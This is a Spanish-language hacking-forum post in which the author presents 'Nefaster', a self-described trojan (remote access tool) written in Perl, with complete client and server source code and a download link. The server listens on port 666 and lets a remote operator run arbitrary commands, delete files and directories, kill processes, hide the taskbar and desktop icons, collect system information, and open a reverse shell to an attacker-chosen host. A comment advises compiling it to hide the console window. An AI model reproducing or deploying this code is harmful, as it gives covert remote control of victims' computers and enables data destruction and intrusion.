Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Perl] Nefaster

  • 0 Respuestas
  • 1091 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Julio 03, 2011, 09:47:59 pm »
Bueno es es mi troyano Nefaster , en esta version le arregle varias cosas que pasare a detallar

  • Mostrar Informacion
  • Navegador de archivos
  • Cambiar directorio de navegacion
  • Crear archivo
  • Borrar archivo
  • Borrar directorio
  • Reproducir musica o videos poniendo la ruta en la opcion
  • Parar reproduccion
  • Abrir lectora de CD
  • Cerrar lectora de CD
  • Puertos abiertos
  • Mensaje
  • Ejecutar comandos
  • Esconder barra de tareas
  • Devolver barra de tareas
  • Esconder iconos del escritorio
  • Devolver iconos del escritorio
  • Administrar procesos con posibilidad de cerrar el que quieran
  • Reverse Shell si es que quieren ejecutar comandos de forma mas comoda



El codigo del cliente es este

Código: Perl
  1. #!usr/bin/perl
  2. #Nefester (Cliente) 0.1 By Doddy H
  3.  
  4.  
  5. use IO::Socket;
  6. use Cwd;
  7.  
  8. &menu;
  9.  
  10. sub head {
  11.  
  12. system 'cls';
  13.  
  14.  
  15.  
  16.             E      F                   TT    E        
  17. NNNNNNNEEEEEE FFFFFF   AAA   SSSSSTTTTTTEEEEEE RRRRRR
  18.  NN NN  E EE   FFFF   A AA  S  S T TT T  E EE   RRRRR
  19.  NNNNN  E EE   FF F   AAAAA S     T TT   E EE   RR  R
  20.  NNNNN EEEEE  FFFFF  AAA AA  SSS S  TT  EEEEE  RRRRR  
  21.  NNNNN  E EEE  FFF    AAAAA S  SSS  TT   E EEE  RR R  
  22.  NN NN  EEEE E FF    AAA AA SS  SS  TT   EEEE E RR  R
  23. NNN NN EEEEEEEFFFF  AAA  AAA  SSS  TTTT EEEEEEE RRR RR
  24.                             SS                 R   R  
  25.  
  26.  
  27.  
  28. );
  29.  
  30. }
  31.  
  32. sub menu {
  33.  
  34. &head;
  35.  
  36. print "[Target] : ";
  37. chomp(my $ip = <STDIN>);
  38.  
  39.  
  40.  
  41. my $socket = new IO::Socket::INET(
  42. PeerAddr => $ip,
  43. PeerPort => 666,
  44. Proto => 'tcp',
  45. Timeout  => 5
  46. );
  47.  
  48. if ($socket) {
  49. $socket->close;
  50. &menuo($ip);
  51. } else {
  52. print "\n\n[-] Target no infectado\n";
  53. <STDIN>;
  54. &menu;
  55. }
  56.  
  57. }
  58.  
  59. sub menuo {
  60.  
  61. &head;
  62.  
  63. print "[$_[0]] : Servidor Activado\n\n";
  64. 1 : Informacion
  65. 2 : Navegador
  66. 3 : Abrir CD
  67. 4 : Cerrar CD
  68. 5 : Puertos abiertos
  69. 6 : Mensaje
  70. 7 : CMD
  71. 8 : Esconder barra de tareas
  72. 9 : Devolver barra de tareas
  73. 10 : Esconder iconos
  74. 11 : Devolver iconos
  75. 12 : Administrar procesos
  76. 13 : Reverse Shell
  77. 14 : Cambiar IP
  78. 15 : Salir
  79.  
  80.  
  81. );
  82. print "[Opcion] : ";
  83. chomp(my $opcion = <STDIN>);
  84.  
  85.  
  86. if ($opcion eq 1) {
  87. print "\n\n[+] Informacion\n\n";
  88. $re = daryrecibir($_[0],"infor");
  89. if ($re=~/:(.*):(.*):(.*):(.*):(.*):/) {
  90. print "[Dominio] : $1\n";
  91. print "[Chip] : $2\n"; 
  92. print "[Version] : $3\n";      
  93. print "[Nombre] : $4\n";       
  94. print "[OS] : $5\n";
  95. <stdin>;
  96. }
  97. &menuo($_[0]);
  98. }
  99. elsif ($opcion eq 2) {
  100.  
  101. menu1:
  102. print "\n\n[+] Navegacion de archivos\n\n";
  103. $cwd = daryrecibir($_[0],"getcwd"."\r\n");
  104. print "tengo $cwd\n";
  105. show($_[0],"/");
  106. &menu2;
  107.  
  108. sub menu2 {
  109. print "\n\n[Opciones]\n\n";
  110. print "1 - Cambiar directorio\n";
  111. print "2 - Crear archivo\n";
  112. print "3 - Borrar archivo\n";
  113. print "4 - Borrar directorio\n";
  114. print "5 - Reproducir musica\n";
  115. print "6 - Parar reproduccion\n";
  116. print "7 - Volver al menu inicial\n\n";
  117. print "[Opcion] : ";
  118. chomp(my $op = <stdin>);
  119.  
  120. if ($op eq 1) {
  121. print "\n\n[+] Directorio : ";
  122. chomp (my $dir=<stdin>);
  123. $ver = daryrecibir($_[0],"chdirnow K0BRA".$dir."K0BRA");
  124. if ($ver=~/ok/ig) {
  125. print "\n\n[+] Directory changed\n\n";
  126. }
  127. show($_[0],$dir);
  128. &menu2;
  129. <stdin>;
  130. }
  131.  
  132. elsif ($op eq 2) {
  133.  
  134. print "\n\n[Nombre] : ";
  135. chomp(my $name = <stdin>);
  136. print "\n\n[Contenido] : ";
  137. chomp(my $code = <stdin>);
  138.  
  139. daryrecibir($_[0],"crearnow K0BRA".$name."K0BRA ACATOY".$code."ACATOY");
  140.  
  141. print "\n\n[+] Archivo creado \n\n";
  142. <stdin>;
  143. }
  144. elsif ($op eq 3) {
  145. print "\n\n[Archivo a borrar] : ";
  146. chomp(my $file = <stdin>);
  147. $re = daryrecibir($_[0],"borrarfile K0BRA".$file."K0BRA");
  148. if ($re=~/ok/) {
  149. print "\n\n[+] Archivo Borrado\n\n";
  150. } else {
  151. print "\n\n[-] Error\n\n";
  152. }
  153. <stdin>;
  154. }
  155.  
  156. elsif ($op eq 4) {
  157. print "\n\n[Directorio a borrar] : ";
  158. chomp(my $file = <stdin>);
  159. $re = daryrecibir($_[0],"borrardir K0BRA".$file."K0BRA");
  160. if ($re=~/ok/) {
  161. print "\n\n[+] Directorio Borrado\n\n";
  162. } else {
  163. print "\n\n[-] Error\n\n";
  164. }
  165. <stdin>;
  166. }
  167.  
  168. elsif ($op eq 5) {
  169. print "\n\n[Archivo] : ";
  170. chomp(my $file = <stdin>);
  171. print "\n\n[+] Reproduciendo\n\n";
  172. daryrecibir($_[0],"playmusic K0BRA".$file."K0BRA");
  173. <stdin>;
  174. }
  175. elsif ($op eq 6) {
  176. print "\n\n[+] Reproduccion detenida\n\n";
  177. daryrecibir($_[0],"pararmusic");
  178. <stdin>;
  179. }
  180. elsif ($op eq 7) {
  181. &menuo($_[0]);
  182. }
  183. else {
  184. show($_[0],"/");
  185. }
  186. goto menu1;
  187. }
  188. }
  189.  
  190. elsif ($opcion eq 3) {
  191. daryrecibir($_[0],"opencd");
  192. &menuo($_[0]);
  193. }
  194.  
  195. elsif ($opcion eq 4) {
  196. daryrecibir($_[0],"closedcd");
  197. &menuo($_[0]);
  198. }
  199.  
  200. elsif ($opcion eq 5) {
  201. print "\n[Puertos Abiertos]\n\n";
  202. $re = daryrecibir($_[0],"porters");
  203. while ($re=~/:(.*?):/ig) {
  204. if ($1 ne "") {
  205. print "[+] $1\n";
  206. }
  207. }
  208. <stdin>;
  209. &menuo($_[0]);
  210. }
  211. elsif ($opcion eq 6) {
  212. print "\n[Mensaje] : ";
  213. chomp (my $msg = <stdin>);
  214. daryrecibir($_[0],"msgbox $msg");
  215. <stdin>;
  216. &menuo($_[0]);
  217. }
  218. elsif ($opcion eq 7) {
  219.  
  220. menu:
  221.  
  222. my $cmd,$re;
  223.  
  224. print "\n\n>";
  225.  
  226. chomp(my $cmd= <stdin>);
  227.  
  228. if ($cmd=~/exit/ig) {
  229. &menuo($_[0]);
  230. }
  231.  
  232. $re = daryrecibir($_[0],"comando :$cmd:");
  233. print "\n".$re;
  234. goto menu;
  235. &menuo($_[0]);
  236. }
  237. elsif ($opcion eq 8) {
  238. daryrecibir($_[0],"iniciochau");
  239. &menuo($_[0]);
  240. }
  241. elsif ($opcion eq 9) {
  242. daryrecibir($_[0],"iniciovuelve");
  243. &menuo($_[0]);
  244. }
  245. elsif ($opcion eq 10) {
  246. daryrecibir($_[0],"iconochau");
  247. &menuo($_[0]);
  248. }
  249. elsif ($opcion eq 11) {
  250. daryrecibir($_[0],"iconovuelve");
  251. &menuo($_[0]);
  252. }
  253.  
  254. elsif ($opcion eq 12) {
  255.  
  256. &reload($_[0]);
  257.  
  258. sub reload {
  259.  
  260. my @pro;
  261. my @pids;
  262.  
  263. my $sockex = new IO::Socket::INET(
  264. PeerAddr => $_[0],
  265. PeerPort => 666,
  266. Proto => 'tcp',
  267. Timeout  => 5
  268. );
  269.  
  270. print $sockex "mostrarpro"."\r\n";
  271. $sockex->read($re,5000);
  272. $sockex->close;
  273.  
  274. chomp $re;
  275.  
  276. print "\n\n[+] Procesos encontrados\n\n";
  277.  
  278. while ($re=~/PROXEC(.*?)PROXEC/ig) {
  279. if ($1 ne "") {
  280. push(@pro,$1);
  281. }
  282. }
  283.  
  284. while ($re=~/PIDX(.*?)PIDX/ig) {
  285. if ($1 ne "") {
  286. push(@pids,$1);
  287. }
  288. }
  289.  
  290. $cantidad = int(@pro);
  291.  
  292. for my $num(1..$cantidad) {
  293. if ($pro[$num] ne "") {
  294. print "\n[+] Proceso : ".$pro[$num]."\n";
  295. print "[+] PIDS : ".$pids[$num]."\n";
  296. }
  297. }
  298.  
  299.  
  300. [Opciones]
  301.  
  302.  
  303. 1 - Refrescar lista
  304. 2 - Cerrar procesos
  305. 3 - Volver al menu
  306.  
  307. );
  308.  
  309. print "\n[Opcion] :  ";
  310. chomp(my $opc = <stdin>);
  311.  
  312. if ($opc=~/1/ig) {
  313. &reload($_[0]);
  314. }
  315. elsif($opc=~/2/ig) {
  316. print "\n[+] Write the name of the process : ";
  317. chomp(my $numb = <stdin>);
  318. print "\n[+] Write the PID of the process : ";
  319. chomp(my $pid = <stdin>);
  320. $re = daryrecibir($_[0],"chauproce K0BRA".$pid."K0BRA".$numb."K0BRA");
  321. if ($re=~/ok/ig) {
  322. print "\n\n[+] Proceso cerrado\n\n";
  323. } else {
  324. print "\n\n[-] Error\n\n";
  325. }
  326. <stdin>;
  327. &reload($_[0]);
  328. }
  329. elsif($opc=~/3/ig) {
  330. &menuo($_[0]);
  331. }
  332. else {
  333. &reload;
  334. }
  335. }
  336. }
  337.  
  338. elsif ($opcion eq 13) {
  339. print "\n\n[IP] : ";
  340. chomp(my $ip = <stdin>);
  341. print "\n\n[Port] : ";
  342. chomp(my $port = <stdin>);
  343. print "\n\n[+] Connected !!!\n\n";
  344. $re = daryrecibir($_[0],"backshell :$ip:$port:");
  345. }
  346. elsif ($opcion eq 14) {
  347. &menu;
  348. }
  349. elsif ($opcion eq 15) {
  350. exit 1;
  351. }      
  352. else {
  353. &menuo;
  354. }
  355. }
  356.  
  357. sub daryrecibir {
  358.  
  359. my $sockex = new IO::Socket::INET(
  360. PeerAddr => $_[0],
  361. PeerPort => 666,
  362. Proto => 'tcp',
  363. Timeout  => 5
  364. );
  365.  
  366. print $sockex $_[1]."\r\n";
  367. $sockex->read($re,5000);
  368. $sockex->close;
  369. return $re."\r";
  370. }
  371.  
  372. sub show {
  373.  
  374. my $re = daryrecibir($_[0],"getcwd"."\r\n");
  375. print "\n\n[+] Directorio Actual : $re\n\n";
  376. $re1 = daryrecibir($_[0],"dirnow ACATOY".$re."ACATOY"."\r\n");
  377. print "\n\n[Directorios]\n\n";
  378.  
  379. while ($re1=~/DIREX(.*?)DIREX/ig) {
  380. if ($1 ne "") {
  381. print "[+] $1\n";
  382. }
  383. }
  384.        
  385. print "\n\n[Archivos]\n\n";
  386.  
  387. while ($re1=~/FILEX(.*?)FILEX/ig) {
  388. if ($1 ne "") {
  389. print "[+] $1\n";
  390. }
  391. }
  392.  
  393. }
  394.  
  395. #
  396. # ¿ The End ?
  397. #
  398.  

Y el server

Código: Perl
  1.  
  2. #!/usr/bin/perl
  3. #Nefester (sERVidor) 0.1 By Doddy H
  4. #Compilar con perl2exe para sacar consola
  5.  
  6. use IO::Socket;
  7. use Socket;
  8. use Win32;
  9. use Cwd;
  10. use Win32::MediaPlayer;
  11. use Win32::Process::List;
  12. use Win32::Process;
  13. use Win32::API;
  14.  
  15. use constant SW_HIDE => 0;
  16. use constant SW_SHOWNORMAL => 1;
  17.  
  18. my $a = new Win32::API('user32', 'FindWindow', 'PP', 'N');
  19. my $b = new Win32::API('user32', 'ShowWindow', 'NN', 'N');
  20.  
  21. $test = new Win32::MediaPlayer;
  22.  
  23. my $sock = IO::Socket::INET->new(LocalPort => 666,
  24. Listen => 10,
  25. Proto => 'tcp',
  26. Reuse => 1);
  27.  
  28. print "online\n";
  29.  
  30. while (my $con = $sock->accept){
  31. $resultado = <$con>;
  32. print "boludo mando : $resultado\n";
  33.  
  34. if ($resultado=~/msgbox (.*)/ig) {
  35. Win32::MsgBox($1,0,"Mensaje de Dios")
  36. }
  37.  
  38. if ($resultado=~/backshell :(.*):(.*):/ig) {
  39.  
  40. my ($ip,$port) = ($1,$2);
  41.  
  42. print "conectando $ip con $port\n";
  43.  
  44. $ip =~s/(\s)+$//;
  45. $port =~s/(\s)+$//;
  46.  
  47. conectar($ip,$port);
  48. tipo();
  49.  
  50. sub conectar {
  51. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  52. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  53. open (STDIN,">&REVERSE");
  54. open (STDOUT,">&REVERSE");
  55. open (STDERR,">&REVERSE");
  56. }
  57.  
  58. sub tipo {
  59. print "\n[*] Reverse Shell Starting...\n\n";
  60. if ($^O =~/Win32/ig) {
  61. infowin();
  62. system("cmd.exe");
  63. } else {
  64. infolinux();
  65. #root();  
  66. system("export TERM=xterm;exec sh -i");
  67. }
  68. }
  69.  
  70. sub infowin {
  71. print "[+] Domain Name : ".Win32::DomainName()."\n";
  72. print "[+] OS Version : ".Win32::GetOSName()."\n";
  73. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  74. }
  75.  
  76. sub infolinux {
  77. print "[+] System information\n\n";
  78. system("uname -a");
  79. print "\n\n";
  80. }
  81.  
  82.  
  83. }
  84.  
  85. if ($resultado =~/opencd/ig) {
  86.  
  87. use Win32::API;
  88.  
  89. my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
  90. my $rta = ' ' x 127;  
  91. $ventana->Call('set CDAudio door open', $rta, 127, 0);
  92. print $con "ok"."\r\n";
  93. }
  94.  
  95. if ($resultado=~/chauproce K0BRA(.*)K0BRA(.*)K0BRA/ig) {
  96.  
  97. my ($pid,$numb) = ($1,$2);
  98.  
  99. $pid=~s/(\s)+$//;
  100. $numb=~s/(\s)+$//;
  101.  
  102. if (Win32::Process::KillProcess($pid,$numb)) {
  103. print $con "ok\r\n";
  104. }
  105. }
  106.  
  107. if ($resultado =~/closedcd/ig) {
  108.  
  109. use Win32::API;
  110.  
  111. my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
  112. my $rta = ' ' x 127;  
  113. $ventana->Call('set CDAudio door closed', $rta, 127, 0);
  114. print $con "ok"."\r\n";
  115. }
  116.  
  117. if ($resultado=~/borrarfile K0BRA(.*)K0BRA/ig) {
  118.  
  119. my $filex = $1;
  120.  
  121. $filex =~s/(\s)+$//;
  122.  
  123. print getcwd()."/".$filex."\n\n";
  124.  
  125. if (unlink(getcwd()."/".$filex)) {
  126. print $con "ok\r\n";
  127. }
  128.  
  129. }
  130.  
  131.  
  132.  
  133. if ($resultado=~/infor/ig) {
  134. print "mando"; 
  135. use Win32;
  136.  
  137.  
  138. my $domain = Win32::DomainName();
  139. my $chip = Win32::GetChipName();
  140. my $version = Win32::GetOSVersion();
  141. my $nombre = Win32::LoginName();
  142. my  $os = Win32::GetOSName();
  143.  
  144. print $con ":".$domain.":".$chip.":".$version.":".$nombre.":".$os.":"."\r\n";
  145. }
  146.  
  147.  
  148. if ($resultado=~/porters/ig) {
  149.  
  150. use Net::Netstat::Wrapper;
  151.  
  152. $por = "";
  153. @ports = Net::Netstat::Wrapper->only_port();
  154. for(@ports) {
  155. $por = $por.":".$_;
  156. }
  157. print $con $por."\r\n";
  158. }
  159.  
  160.  
  161. if ($resultado=~/playmusic K0BRA(.*)K0BRA/ig) {
  162.  
  163. my $cancion = $1;
  164.  
  165. $cancion =~s/(\s)+$//;
  166.  
  167. $test->load($cancion);
  168. $test->play;   
  169.  
  170. }
  171.  
  172. if ($resultado=~/chdirnow K0BRA(.*)K0BRA/ig) {
  173.  
  174. my $dir = $1;
  175. $dir =~s/(\s)+$//;
  176.  
  177.  
  178. if (chdir($dir)) {
  179. print $con "ok\r\n";
  180. }
  181.  
  182. }
  183.  
  184. if ($resultado=~/borrardir K0BRA(.*)K0BRA/ig) {
  185.  
  186. my $veox = $1;
  187. $veox =~s/(\s)+$//;
  188.  
  189. if (rmdir(getcwd()."/".$veox)) {
  190. print $con "ok\r\n";
  191. }
  192. }
  193.  
  194.  
  195.  
  196. if ($resultado=~/pararmusic/ig) {
  197. $test->close;
  198. }
  199.  
  200.  
  201.  
  202. if ($resultado=~/dirnow ACATOY(.*)/ig) {
  203.  
  204. my $real = $1;
  205. chomp $real;
  206.  
  207. $real =~s/(\s)+$//;
  208.  
  209. print "real $real\n\n";
  210.  
  211. my @archivos = coleccionar($real);
  212.  
  213. for (@archivos) {
  214. print $_."\n";
  215. my $todo = $real."/".$_;
  216.  
  217. print $todo."\n";
  218.  
  219. if (-f $todo) {
  220. print $con "FILEX".$_."FILEX"."\r\n";
  221. print "File : ".$_."\n";
  222. }
  223.  
  224. if (-d $todo) {
  225. print $con "DIREX".$_."DIREX"."\r\n";
  226. print "Dir : ".$_."\n";
  227. }
  228.  
  229. }
  230. }
  231.  
  232. sub coleccionar {
  233. opendir DIR,$_[0];
  234. my @archivos = readdir DIR;
  235. close DIR;
  236. return @archivos;
  237. }
  238.  
  239. if ($resultado=~/getcwd/ig) {
  240. print "envie ".getcwd()."\n\n";
  241. print $con getcwd()."\r\n";
  242. }
  243.  
  244.  
  245. if ($resultado=~/mostrarpro/ig) {
  246.  
  247.  
  248. my $new = Win32::Process::List->new();  
  249. my %process = $new->GetProcesses();
  250. for my $pid (keys %process) {
  251. print $con "PROXEC".$process{$pid}."PROXEC\r\n";
  252. print $con "PIDX".$pid."PIDX\r\n";
  253.  
  254. }
  255.  
  256.  
  257. }
  258.  
  259. if ($resultado=~/crearnow K0BRA(.*)K0BRA ACATOY(.*)ACATOY/ig) {
  260. my $name = $1;
  261. my $file = $2;
  262.  
  263. chomp $name;
  264. chomp $file;
  265.  
  266. $name =~s/(\s)+$//;
  267. $file =~s/(\s)+$//;
  268.  
  269. print "name is $name end\n";
  270. print "file is $file end\n";
  271.  
  272. open FILE,">>".$name;
  273. print FILE $file."\n";
  274. close FILE;
  275. }
  276.  
  277. if ($resultado=~/comando :(.*):/ig) {
  278. print "llego comando $1\n";
  279. print $resultado;
  280. my $temp = qx($1);
  281. print $con $temp."\r";
  282. }
  283.  
  284. if ($resultado=~/iniciochau/g) {
  285. inicio_chau("Shell_TrayWnd");
  286. }
  287. if ($resultado=~/iniciovuelve/g) {
  288. inicio_vuelve("Shell_TrayWnd");
  289. } else {
  290. print $resultado;
  291. }
  292. if ($resultado=~/iconovuelve/g) {
  293. icono_vuelve("Program Manager");
  294. }
  295. if ($resultado=~/iconochau/g) {
  296. icono_chau("Program Manager");
  297. }
  298.  
  299.  
  300. sub icono_vuelve {
  301. $handle = $a->Call(0,$_[0]);
  302. $b->Call($handle,SW_SHOWNORMAL);
  303.  
  304. }
  305.  
  306. sub icono_chau {
  307.  
  308. $handle = $a->Call(0,$_[0]);
  309. $b->Call($handle,SW_HIDE);
  310.  
  311. }
  312.  
  313. sub inicio_vuelve {
  314. $handlex = $a->Call($_[0],0);
  315. $b->Call($handlex,SW_SHOWNORMAL);
  316.  
  317. }
  318.  
  319. sub inicio_chau {
  320.  
  321. $handlea = $a->Call($_[0],0);
  322. $b->Call($handlea,SW_HIDE);
  323.  
  324. }
  325.  
  326.  
  327. }
  328.  
  329.  
  330. # ¿ The End ?
  331.  


Si lo quieren descargar desde sourceforge

Código: [Seleccionar]
https://sourceforge.net/projects/nefaster/
« Última modificación: Marzo 14, 2015, 10:04:02 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 4203
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 2266
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
Funciones más utilizadas en la programación de un perl script

Iniciado por Dragora

Respuestas: 0
Vistas: 2605
Último mensaje Enero 06, 2019, 01:01:06 am
por Dragora
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 1961
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 1798
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear